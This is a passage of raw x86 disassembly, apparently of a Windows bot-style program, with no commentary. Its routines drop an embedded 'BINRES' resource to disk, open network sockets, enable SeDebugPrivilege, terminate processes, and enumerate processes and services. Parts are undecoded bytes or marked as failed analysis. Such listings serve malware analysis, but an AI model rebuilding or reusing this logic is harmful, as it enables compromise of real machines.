dword_50BB60, esi call near ptr 28E07A6h nop loc_41FBAA: ; CODE XREF: ___:0041FB86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FBD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E068 mov eax, esi pop esi retn sub_41FBD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FC00 proc near ; CODE XREF: sub_401CDFj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50BB68, ecx push 100h mov ecx, offset byte_44794F call sub_4017E4 push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401956 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax nop call near ptr 28E0000h xor eax, eax add esp, 110h retn sub_41FC00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: ___:00401C30j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FCA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCA2: ; CODE XREF: ___:0041FC9Aj mov ecx, [esp+18h] push ecx call near ptr 2871DD9h nop mov esi, eax test esi, esi jnz short loc_41FCB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: ___:0041FCB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 279068Eh mov edi, eax test edi, edi jnz short loc_41FCDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: ___:0041FCD4j push ebp push edi push esi nop call near ptr 27A0000h push edi push esi mov ebp, eax nop call near ptr 27A03C0h push ebp mov esi, eax nop call near ptr 27A06ABh push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD50 proc near ; CODE XREF: sub_40187Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41FD78 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_41FD71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FD71: ; CODE XREF: sub_41FD50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FD78: ; CODE XREF: sub_41FD50+Fj pop esi retn sub_41FD50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_401A8Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FDAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FDAE: ; CODE XREF: sub_41FD90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40187F add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FE0A push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE0A: ; CODE XREF: sub_41FD90+69j mov eax, esi pop esi add esp, 10h retn sub_41FD90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40197Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FE6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE6E: ; CODE XREF: sub_41FE50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FEC0 push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF24 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF27 loc_41FF24: ; CODE XREF: sub_41FEF0+14j or eax, 0FFFFFFFFh loc_41FF27: ; CODE XREF: sub_41FEF0+32j pop esi add esp, 10h retn sub_41FEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41FF76 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF76 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_41FF79 loc_41FF76: ; CODE XREF: sub_41FF40+8j ; sub_41FF40+1Aj or eax, 0FFFFFFFFh loc_41FF79: ; CODE XREF: sub_41FF40+34j pop edi pop esi retn sub_41FF40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41FF90 proc near ; CODE XREF: sub_4015FAj var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_436840 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_436FC0 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41FFC3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FF90+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42008D push ebx mov ebx, dword_50F874 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41FFE5: ; CODE XREF: sub_41FF90+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420077 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_436FBA ; --------------------------------------------------------------------------- test eax, eax jz short loc_420070 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_436FB4 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h dd 500D75C0h, 95E89056h, 0C6022EFFh, 1132444h ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FF90+A2j push esi nop call near ptr 283074Ch loc_420077: ; CODE XREF: sub_41FF90+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_41FFE5 pop edi pop esi pop ebp pop ebx loc_42008D: ; CODE XREF: sub_41FF90+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_41FF90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200F0 proc near ; CODE XREF: sub_4019FBj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4200F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401861 push eax mov [esp+464h+var_4], 0 call sub_401E8D add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42026A lea ecx, [esp+460h+var_43C] call sub_401424 push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_401681 push eax push 80000002h call near ptr 2920000h nop mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx nop call near ptr 28D0000h lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_50F9AC mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_443B04 ; "\\" call near ptr 76085AE4h nop inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 call near ptr 760976AFh nop lea ecx, [esp+4A4h+var_490] nop call near ptr 7608B84Ch push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE145CE8h, 67E850FFh, 90023D05h, 14244C8Dh dd 5C249C88h, 0E8000004h, 75C6F249h, 244C8D90h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42026A: ; CODE XREF: sub_4200F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4200F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401E8Dj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28F09E6h mov ebx, eax test ebx, ebx jnz short loc_420325 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420325: ; CODE XREF: sub_420300+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push ebx nop call near ptr 28907E8h mov esi, eax test esi, esi jnz short loc_420350 push ebx call near ptr 29003EFh nop pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420350: ; CODE XREF: sub_420300+3Fj push ebp push edi mov edi, dword_50F740 push esi call edi push esi call edi mov ebp, dword_50F73C lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_50F74C call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420300 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203D0 proc near ; CODE XREF: sub_4018A7j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 2780AD9h push eax nop call near ptr 28B16E3h mov ebp, dword_50F718 mov edi, dword_50F8D8 test eax, eax jnz short loc_420420 lea ecx, [esp+38h+var_28] push ecx push 28h call near ptr 2780B32h nop push eax call near ptr 28B1D4Eh nop test eax, eax jz short loc_42047F loc_420420: ; CODE XREF: sub_4203D0+36j cmp [esp+38h+var_28], esi jz short loc_420483 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28C0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420478 nop call near ptr 27C090Ch cmp eax, 514h jnz short loc_420483 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42047D ; --------------------------------------------------------------------------- loc_420478: ; CODE XREF: sub_4203D0+92j mov edx, [esp+38h+var_28] push edx loc_42047D: ; CODE XREF: sub_4203D0+A6j call edi loc_42047F: ; CODE XREF: sub_4203D0+4Ej mov [esp+38h+var_28], esi loc_420483: ; CODE XREF: sub_4203D0+54j ; sub_4203D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 2790000h mov esi, eax test esi, esi jz short loc_4204A8 push 0 push esi nop call near ptr 2710000h push esi mov bl, 1 call edi loc_4204A8: ; CODE XREF: sub_4203D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4204C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4204C7: ; CODE XREF: sub_4203D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4203D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420530 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420530 push eax mov eax, 1130h mov large fs:0, esp call sub_436840 push esi push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 2871DD9h nop test eax, eax mov dword_50BB70, eax jnz short loc_42057C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 27E09F8h test eax, eax mov dword_50BB70, eax jz loc_4206FA loc_42057C: ; CODE XREF: sub_420530+32j mov esi, dword_50F8A0 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50BB74, eax mov eax, dword_50BB70 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50BB70 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50BB78, eax call esi mov ecx, dword_50BB74 mov dword_50BB7C, eax test ecx, ecx jz loc_4206FA mov edx, dword_50BB78 test edx, edx jz loc_4206FA test eax, eax jz loc_4206FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4206FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4206E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_50F874 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42063F: ; CODE XREF: sub_420530+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4206CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50BB78 test eax, eax jz short loc_4206C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50BB7C lea ecx, [esp+74h+var_54] call sub_401866 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015D7 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402167 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A6E loc_4206C6: ; CODE XREF: sub_420530+136j push esi nop call near ptr 283074Ch loc_4206CD: ; CODE XREF: sub_420530+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42063F pop ebp pop ebx loc_4206E1: ; CODE XREF: sub_420530+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4206FA: ; CODE XREF: sub_420530+46j ; sub_420530+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207A0 proc near ; CODE XREF: sub_401866j push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_4207A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4207C0 proc near ; CODE XREF: sub_401A6Ej jmp sub_401226 sub_4207C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207E0 proc near ; CODE XREF: sub_402144j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4207E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 28F09E6h mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42082F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42082F: ; CODE XREF: sub_4207E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44433C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset aNla ; "Nla" mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_401424 lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_50F710 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx call near ptr 77C2C407h nop add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420B8F mov ebp, dword_50F75C loc_420A6B: ; CODE XREF: sub_4207E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420A97 lea esi, [esp+524h+var_4E0] loc_420A78: ; CODE XREF: sub_4207E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420B73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420A78 loc_420A97: ; CODE XREF: sub_4207E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_401681 push eax push 80000002h call ebp cmp eax, ebx jz short loc_420AE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420AE3: ; CODE XREF: sub_4207E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 28D0000h cmp eax, ebx jz short loc_420B1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1D: ; CODE XREF: sub_4207E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420B3A: ; CODE XREF: sub_4207E0+301j ; sub_4207E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014C9 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420B73: ; CODE XREF: sub_4207E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420A6B mov ebp, [esp+524h+var_4FC] loc_420B8F: ; CODE XREF: sub_4207E0+27Fj push ebp nop call near ptr 29003EFh lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4207E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_4015EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 2871DD9h push eax nop call near ptr 287120Ah mov eax, esi pop esi retn sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: sub_401A28j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, 